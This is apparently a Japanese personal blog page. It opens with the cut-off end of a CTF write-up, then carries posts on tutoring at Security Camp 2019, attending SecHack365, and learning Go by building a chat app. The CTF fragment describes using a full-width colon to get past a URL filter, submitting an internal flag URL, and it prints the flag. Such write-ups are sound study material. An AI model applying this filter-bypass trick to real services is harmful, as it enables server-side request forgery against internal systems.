どこを修正すると綺麗に分割できそうかなと考えた結果:の全角文字だと行けることがわかりhttp://172.25.0.3:80/flag.phpをsubmitして

SECCON{what_a_easy_bypass_314208thg0n423g}

Flagゲット!

キャンプに行った ~ セキュリティ・キャンプ全国大会 2019 チューター参加記 ~

  

f:id:oukasakura3:20190818171119j:plain
セキュリティ・キャンプ
 今年度もセキュリティキャンプ全国大会に参加してきたのでブログを書きたいと思ういます。

 今年度は昨年とは異なりチューター*1として参加して感じたことと、どのような意識の変化があったかを書ければいいなと思います。


*1 : 講義・運営のサポートや参加者のフォロー、そして成果報告プレゼンテーション(LT)などをしてキャンプを支える業務

チューターの日程

Day 内容
8/12(月) 事前準備
8/13(火) オリエンテーション/グループワークサポート/LT大会
8/14(水) 必須講義/ホームルーム
8/15(木) 選択講義/会員企業のお仕事紹介/グループワークサポート
8/16(金) 選択講義/会員企業のお仕事紹介/グループワークサポート
8/17(土) 集合写真/成果報告/閉会式への参加

チューターと受講生は何が違うの?

 受講生というのは、国や企業からの支援のもと名だたる講師の方々から講義を聞き技術を学べるという、技術を学ぶ学生として圧倒的に飛躍させてくれるめちゃくちゃいい制度で大きな責任というものは追わない、強いて言うなら今回来れなかった他の応募者の分までしっかり学ぶことが最大の責任なので実質責任はゼロなのではないでしょうか。

 チューターと言うのは、セキュリティキャンプ協議会との間でチューター業として委託する形態を取っており、"仕事"として扱われます。業務の内容としては受講者の健康管理や講義のサポート、受講者間でのコミュニケーション円滑化のためのサポートなど、セキュリティキャンプ全国大会全体の円滑な運営をサポートするのが大きな役割です。

 大きな違いといえば、やはり責任が付いて回ると言うことでしょう(と言っても講師の方や協議会の運営の方々とは比にならないほど小さなものではありますが)。

チューターの良いところ

講師・プロデューサーとより近くで話せる

 夜遅くに講師の方にお話を聞く機会をいただいたり、少し交流のある(僕の場合は交流のある人にひっついて)講師のお部屋に「突撃隣の晩御飯」をしに行くことができるなど、かなり充実した時間をいただけました。(多くは語らないのでぜひ来年度のチューターに応募しましょう!)

刺激がいっぱい

 先の"講師・プロデューサーとより近くで話せる"と言うのもかなりの刺激なのですが、チューター間での交流や受講者との話の中で技術的な刺激を多く受けることができます。

 特に集中開発の人たちには昨年に引き続き、すごく良い刺激をいただきました。私も負けてられない....!

最後に

 チューターになると必ずLTをやることになるので、チューターを目指すみなさんは来年まで気を抜かずに何かチャレンジをしておくといいと思います!

以上!

おまけ

LTで話した資料

※外部公開版なので一部スライドを削除しております

SecHack365にいきました ~ 神奈川編 ~

どうもazaraです。5/16(金) ~ 5/18(日)にSecHack365第1回の集合があったので、それについて書いていきたいと思います。 目次

SecHackとは?

国立研究開発法人情報通信研究機構(NICT)が実施する人材育成プログラムの一種で、下記の引用文のような内容を行い、1年間を通じ物作りをしていくものになります。

25 歳以下の学生や社会人から公募選抜する 40 名程度の受講者を対象に、サイバーセキュリティに関するソフトウェア開発や研究、実験、発表を一年間継続してモノづくりをする機会を提供する長期ハッカソンです。全国の一流研究者・技術者や受講者等との交流をするなかで、自ら手を動かし、セキュリティに関わるモノづくりができる人材 (セキュリティイノベーター) を育てます。

詳しい内容はこちらから sechack365.nict.go.jp

f:id:oukasakura3:20190520003628j:plain
SecHack365に行ってきた

第1回集合までの諸情報

参加コースと題材

 自分が参加したコースは開発駆動コースの仲山ゼミで、開発の題材は「DevSecOpsのdeploy段階に組み入れやすい脆弱性診断ソフトウェアの開発」を題材に開発を進めていこうと思っています。

SecHack365に参加すると決めるまでの経緯

 参加の経緯として、自分の所属するサークルの先輩が昨年参加をしており、その話を聞いていて「開発もできてアウトプットもできて、温泉も入れるなんでなんて素晴らしいイベントなんだ!」とおもい参加をしようと思い立ちました。

 ただ、その時点では思い立っただけでどんなコースがあるのか、自分が何を開発していきたいのかも定まっていなかったので若干焦り気味ではありました。なんとかまとまるもので締め切り3日前までに作りたいソフトウェアの大まかな構成なども書き出し添付資料として提出することができました。

思い立ったら吉日

 思い立ったら吉日と言わんばかりに、合否の連絡が来る前であるにも関わらず、前提知識の収集や実装可能であれば神奈川集合までにコツコツとコードを書いていこうと考えて、時間があったらコードを書いてコミットをする生活をしていました。

f:id:oukasakura3:20190519234952p:plain
草を生やす

第1回神奈川回

開始前にお昼を食べなければならなかったので近くのカフェでピザを食す

 1日目はオリエンテーションやセキュリティイノベーターになるヒントや道筋を定めるための考え方(アイデア脳になる方法)やマンダラートの手法について話を聞きました。

 夜にはトレーナーさんを囲みトレーナーさんの得意な分野や考え方などについてお話を聞きました。1日目ということもあり緊張感からトレーナーさんに質問ができなかったのが悔やまれます。

 2日目は主にサイバーセキュリティに関する脅威を想定したアイデアソンを行いました。自分自身初めてのアイデアソンということもあり、新鮮な気持ちで挑むことができました。このアイデアソン自体、初めて対面で会ったチームメンバーと物事を考え、話をまとめなければならなかったので初めはうまくいくのかと心配ではありました。しかし同じ班のメンバーが話をまとめてくれたり修正してくれたりと互いに助け合いながら発表ができたので、よかったなと思っています。この場を借りてIチームだったメンバーに感謝の意を示したいと思います。

 また個人的な反省点として、出てきたアイデアの中にあった基礎的な技術知識がなくうまくいかなかったので、もっと短時間で情報の収集ができるように努力していきたいと思いました。

 2日目の夜と3日目はコースワークということで、自己紹介と自分の作りたいものの説明、進捗と今後の目標を発表しました。メンバー全員がある程度のプロトタイプのようなものや概念実証をした上で集まっていたので、正直驚き半分、尊敬半分であっけにとられていました。  

所感

 これからおおよそ8ヶ月の期間で自分の実装したいものが完成するのかどうかはまだわかりませんが、形として見せられるレベルまでに持っていけたらと思っています。

 まずは楽しくHackすることを目標に日々を頑張っていきます!

Goに慣れたいのでWebアプリケーションを作る - 01: Go言語によるWebアプリケーション開発 Web Chat編 -

書き出し

Goを学んだのに今の今までGoを使わずに生活していたので、何かしら作ってみてGoに慣れようと思った。

参考にした書籍

Go言語によるWebアプリケーション開発

www.oreilly.co.jp

感想

第3章までやって

今回は書籍の3章までをを参考にしてWebアプリ作成のチュートリアルがわりに、簡単なChatアプリを作成しました。 実際に作成して思ったことを下記に書きます。

作成時に思ったこと

  • PHPに比べ、Goはコードの量が少し多くなってしまうな
  • testが書きやすい
  • net/httpが万能すぎる
  • オブジェクト指向ではないが構造体とメソッドが便利
  • 非同期がデフォルトで利用できるのは最強なのでは

個人的に思ったこととして、Go+標準ライブラリ+少しのOSSフレームワークのような使い方ができるのが自分の中ですごいなと思ったポイントでした。また、Go自体が書きやすく、書いていて楽しくなっていくのでもっと触れて、慣れていきたいと思います。

第4章以降に向けて

ただ本を写すのではなく、せっかくgo testがあるのでうまく組み合わせながらより積極的なテスト開発の練習を行なっていきたいなと思った次第。

GitHub

github.com